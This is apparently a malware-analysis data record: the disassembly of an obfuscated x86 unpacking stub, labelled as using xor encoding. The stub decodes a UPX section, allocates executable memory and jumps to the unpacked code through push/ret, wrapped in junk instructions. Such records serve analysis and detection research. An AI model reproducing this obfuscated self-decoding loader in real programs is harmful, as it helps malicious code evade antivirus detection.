Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf8b3032b
and esi, edi
sub esi, 1
mov esi, 0x7fe73e53
popal
add esi, edi
sub edi, 0xb4068f0
mov edi, 0xa6cc4a87
mov ecx, 0
mov edx, esi
not edi
not ebx
mov eax, edx
sub edi, 0x90afc892
not edi
mov esi, eax
inc edi
or edi, ebx
not ebx
add ecx, 1
mov edi, ebx
add ebx, edi
cmp ecx, 0x100cccb
jne 0x47b45a
sub edi, 0xd52ee47c
mov ebx, 0x46daa302
add edi, ebx
or esi, esi
not edi
inc esi
mov ecx, 0x47b21e
mov eax, 0xae054e92
and edx, edi
mov ebx, 0x47b412
mov edx, eax
sub edx, 0xbe8458d4
mov esi, dword [ecx]
dec edi
add edx, 0xb06ab323
add eax, edx
and esi, 0xff
mov edi, edx
add edx, 0xd2ab8657
add edx, 1
xor dword [ebx], esi
add edi, 0x119cbdcf
mov edx, 0x8a286e36
sub eax, edx
add ebx, 1
sub eax, 1
mov edx, edi
mov edx, edi
add ecx, 1
inc edx
sub edx, 0x79664628
cmp ebx, entry0
jl 0x47b4b2
or edi, edx
add eax, 0x7918df2b
or eax, edx
not eax
mov edx, 0xc9d44e8f
sub edi, edx
and esi, edi
add esi, 0x2bf3a03
inc esi
mov ebx, 0x47b416
not esi
inc edi
mov ebx, dword [ebx]
sub edx, edi
add edi, 0x819ee5fe
dec esi
mov ebx, dword [ebx]
not esi
mov esi, edx
add ecx, 0x2c96aca4
push ebx
or esi, edi
mov edi, 0x2d33442b
mov ebx, 0x47b412
or ecx, edi
and edi, ecx
mov ebx, dword [ebx]
sub edx, edi
add edx, edx
not edx
mov ebx, dword [ebx]
dec ecx
sub ecx, esi
push 0x47b41a
or esi, edx
mov esi, 0xd0595df6
call ebx
not edx
mov edx, edi
pop ebx
mov edx, 0x4585d219
not edi
push 0x47b427
not esi
add esi, edi
push eax
mov ecx, edx
sub esi, edx
add ecx, edi
call ebx
or edi, edx
mov edx, 0x9a34c2b8
sub esp, 4
mov dword [esp], 0x40
sub edi, edx
not edx
push 0x3000
mov esi, ecx
sub edi, 0x59ff705d
sub esi, edx
push 0x200005f1
mov ecx, 0x20f1c870
sub ecx, edx
sub esp, 4
mov dword [esp], 0
mov esi, 0xd77acbb4
not edi
call eax
mov edx, 0x81d30d3
or esi, esi
mov esi, edi
add eax, 0x20000536
mov esi, ecx
add ecx, 0x57452b4a
and ecx, esi
mov ebx, 0x7fc7ce54
add edi, ecx
or edx, edx
mov dword [eax], ebx
add edi, 0x5c9f457f
not edx
mov ebx, dword [eax]
inc edx
or edi, edi
or edx, edi
cmp ebx, 0x7fc7ce54
je 0x47b613
mov ecx, 0
mov byte [ecx], bl
dec edi
mov ecx, edx
sub edx, 0xeb1c25fd
and esi, edi
and ecx, ecx
or edi, edi
sub esi, edi
mov ebx, section.UPX1
add esi, esi
mov esi, edi
mov edx, 0x47b21d
mov edi, 0x69ea56b0
sub edi, 0x67c09df0
mov ecx, 0
sub edi, 0x2c9b2a3c
not edi
sub esi, 0xf8849b4e
mov eax, 0x47b21e
add edi, esi
add edi, edi
lea eax, [eax + ecx]
mov esi, 0x31a53385
mov esi, 0xb4ab0c51
mov eax, dword [eax]
inc esi
inc edi
inc edi
and eax, 0xff
dec esi
not edi
sub esi, 0x11b334ef
inc ecx
sub esi, 0xedaf2ce6
sub esi, 0x3f464bee
cmp ecx, 0x1f4
jne 0x47b694
mov ecx, 0
sub esi, 0x772235a8
not edi
inc edi
and edi, edi
xor dword [ebx], eax
mov esi, 0xd434830
sub esi, 0x14f01607
or edi, edi
add ebx, 2
add esi, 0xa0b97c0d
not esi
cmp ebx, edx
jl 0x47b650
or edi, esi
add esi, 0xe3fc3416
and esi, edi
not esi
mov edx, section.UPX1
add edi, 0xccd336a8
add eax, edi
mov esi, section.UPX1
sub eax, edi
mov edi, 0xd71e7a44
mov ecx, 0x47b21d
add edi, 1
mov edi, eax
sub eax, edi
mov ebx, 0
and edi, eax
mov eax, 0x960551e1
mov bl, byte [esi]
sub eax, 0x928b6550
mov edi, eax
mov byte [edx], bl
dec eax
mov edi, 0x34b0d9a8
and edi, edi
add edx, 1
or edi, eax
not edi
add eax, 0x973ae2f5
add esi, 2
add edi, eax
dec edi
cmp esi, ecx
jle 0x47b704
add edi, edi
add edi, 0x959f399a
add eax, edi
and edi, edi
and edi, esi
push 0x45e6a0
add esi, 0xdd1c68ad
mov edi, 0x5a57722f
ret